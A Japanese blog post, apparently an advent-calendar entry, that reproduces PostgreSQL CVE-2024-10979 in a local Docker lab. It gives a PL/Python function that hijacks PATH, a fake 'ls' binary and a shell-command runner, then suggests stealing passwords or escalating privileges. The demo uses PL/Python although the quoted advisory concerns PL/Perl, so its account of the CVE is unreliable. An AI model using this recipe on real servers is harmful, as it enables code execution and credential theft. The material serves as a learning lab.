CVE-2024-10979をローカルで再現してみる

## はじめに
[TRIAL＆RetailAI Advent Calendar 2024](https://qiita.com/advent-calendar/2024/retail-ai)の14日目の記事です。
昨日は[@atsukish](https://qiita.com/atsukish)さんの[PydanticのLLMエージェントフレームワーク「PydanticAI」を使ってみた](https://qiita.com/atsukish/items/a1613c77cecd41980467)という記事でした。
息を吸うように暴言を吐くアシスタントだと、コンパイルエラーが出るたび嫌味を言われそうですね。

https://qiita.com/atsukish/items/a1613c77cecd41980467

この記事では先日派遣されたPostgresqlの脆弱性「CVE-2024-10979」をローカルで実際に再現していきます。
PostgreSqlは業務でもよく使用しているので、このテーマを選びました。
## CVE-2024-10979について

>PostgreSQL PL/Perlにおける環境変数の不適切な制御により、権限のないデータベースユーザが機密性の高いプロセスの環境変数（PATHなど）を変更することができます。これは、攻撃者がデータベースサーバのオペレーティングシステムユーザでなくても、任意のコードを実行するのに十分な場合があります。PostgreSQL 17.1、16.5、15.9、14.14、13.17、12.21以前のバージョンが影響を受けます。（deepl翻訳）

原文はこちら

https://www.postgresql.org/support/security/CVE-2024-10979/

脆弱性を評価するCVSSスコアでは10点中8.8点で、かなり重大な脆弱性となっています。
## 実際に試してみる
### 試した環境
* ubuntu:22.04
* PostgreSql 15.8

環境はDockerで作成しました。
<details><summary>Dockerfile</summary>

~~~Docker:Dockerfile
# Use a lightweight base image with development tools
FROM ubuntu:22.04

# Set environment variables
ENV POSTGRES_VERSION=15.8 \
    PREFIX_DIR=/usr/local/pgsql

# Install required packages
RUN apt-get update && \
    apt-get install -y --no-install-recommends \
        build-essential \
        libreadline-dev \
        zlib1g-dev \
        flex \
        bison \
        libxml2-dev \
        libxslt-dev \
        libssl-dev \
        wget \
        ca-certificates \
        python3-dev \
        libpython3-dev && \
    rm -rf /var/lib/apt/lists/*

# Download, extract, and build PostgreSQL
WORKDIR /tmp
RUN wget https://ftp.postgresql.org/pub/source/v${POSTGRES_VERSION}/postgresql-${POSTGRES_VERSION}.tar.gz && \
    tar -xvf postgresql-${POSTGRES_VERSION}.tar.gz && \
    cd postgresql-${POSTGRES_VERSION} && \
    ./configure --prefix=${PREFIX_DIR} --with-python && \
    make && \
    make install && \
    rm -rf /tmp/*

# Set up necessary directories and permissions
RUN mkdir -p ${PREFIX_DIR}/data && \
    mkdir -p /home/postgres && \
    groupadd postgres && \
    useradd -r -g postgres -d /home/postgres postgres && \
    chown -R postgres:postgres ${PREFIX_DIR} /home/postgres

# Add PostgreSQL binaries to PATH
ENV PATH="${PREFIX_DIR}/bin:$PATH"

# Switch to postgres user for database initialization
USER postgres
RUN initdb -D ${PREFIX_DIR}/data

# Expose PostgreSQL default port
EXPOSE 5432

# Start PostgreSQL server by default
CMD ["postgres", "-D", "/usr/local/pgsql/data"]
~~~
</details>
<details><summary>docker-compose.yaml</summary>

~~~yaml:docker-compose.yaml
services:
  postgres:
    build:
      context: .
      dockerfile: Dockerfile
    container_name: postgres-vulnerable
    ports:
      - "5432:5432"
    volumes:
      - postgres-data:/usr/local/pgsql/data
    restart: unless-stopped

volumes:
  postgres-data:
    driver: local
~~~
</details>

Dockerfileを準備できたら、コンテナを起動します。
~~~shell
docker-compose build
docker-compose up -d
~~~

コンテナが起動できたら、Postgresの中に入って
~~~
psql
~~~

PL/Python拡張機能の有効化とテスト用DBの作成を行います。
~~~sql:sql
CREATE EXTENSION IF NOT EXISTS plpython3u;

CREATE USER admin WITH LOGIN PASSWORD 'admin';
CREATE DATABASE testdb OWNER admin;
GRANT ALL PRIVILEGES ON DATABASE testdb TO admin;
~~~


拡張機能が有効になっているかは、以下のコマンドで確認できます
~~~
\dx
~~~
コマンド実行結果
![スクリーンショット 2024-12-14 7.17.29.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3844886/575d5e97-8c97-86e5-0a18-79fb6c6d749e.png)


### 環境変数を書き換える関数を作成する
コードは[こちらのリポジトリ](https://github.com/gh-ost00/CVE-2024-10979)のものをお借りしました。

https://github.com/gh-ost00/CVE-2024-10979


1\. まずは先ほど作成したテスト用DBに移動します
~~~shell
psql -U admin -d testdb
~~~

2\. `PATH`を書き換えるPL/Python関数を作成します
~~~sql
CREATE FUNCTION test_env_python() RETURNS void AS $$
import os
os.environ['PATH'] = '/tmp/test_bin:' + os.environ['PATH']
$$ LANGUAGE plpython3u;
~~~

3\. `PATH`の変更を確認するためのスクリプトを作成します
~~~shell
mkdir /tmp/test_bin
echo -e '#!/bin/bash\n echo "Custom script executed!"' > /tmp/test_bin/ls
chmod +x /tmp/test_bin/ls
~~~

4\. 最後にPostgres内からコマンドを実行するPL/Python関数を作成します
~~~sql
CREATE FUNCTION run_shell_command(cmd TEXT) RETURNS void AS $$
import subprocess
subprocess.run(cmd, shell=True)
$$ LANGUAGE plpython3u;
~~~


#### 実行
先に`test_env_python()`を実行してから、`run_shell_command()`を実行すると
~~~sql
SELECT test_env_python();
SELECT run_shell_command('ls');
~~~
`/tmp/test_bin/ls`に設定したスクリプトが実行され、`Custom script executed!`とログに表示されます。

実行結果
![スクリーンショット 2024-12-14 4.52.43.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3844886/57764b35-1d52-5e8e-b6b3-3b8d9e3089a0.png)

## まとめ
以上が「CVE-2024-10979をローカルで再現してみる」です。
最初にこの脆弱性を知った時は、`PATH`の書き換えということの深刻度がイマイチピンと来なかったのですが、実際に自分で動かしてみて、CVE-2024-10979の深刻度がよく分かりました。
今回は`ls`コマンドを偽装しましたが、偽装するコマンド次第では、パスワードの窃取や権限昇格も簡単にできるので興味があれば試してみてください。
***

明日は[@takurUN](https://qiita.com/takurUN)さんの[errgroupの上位互換？ sourcegraph/concを触ってみる](https://qiita.com/takurUN/items/d472c066945e252b86f5)です。

お楽しみに〜

RetailAIとTRIALではエンジニアを募集しています。
興味がある方はご連絡ください！

https://recruit.jobcan.jp/retail-ai/

https://hrmos.co/pages/trialgp/jobs?category=2020003768196907008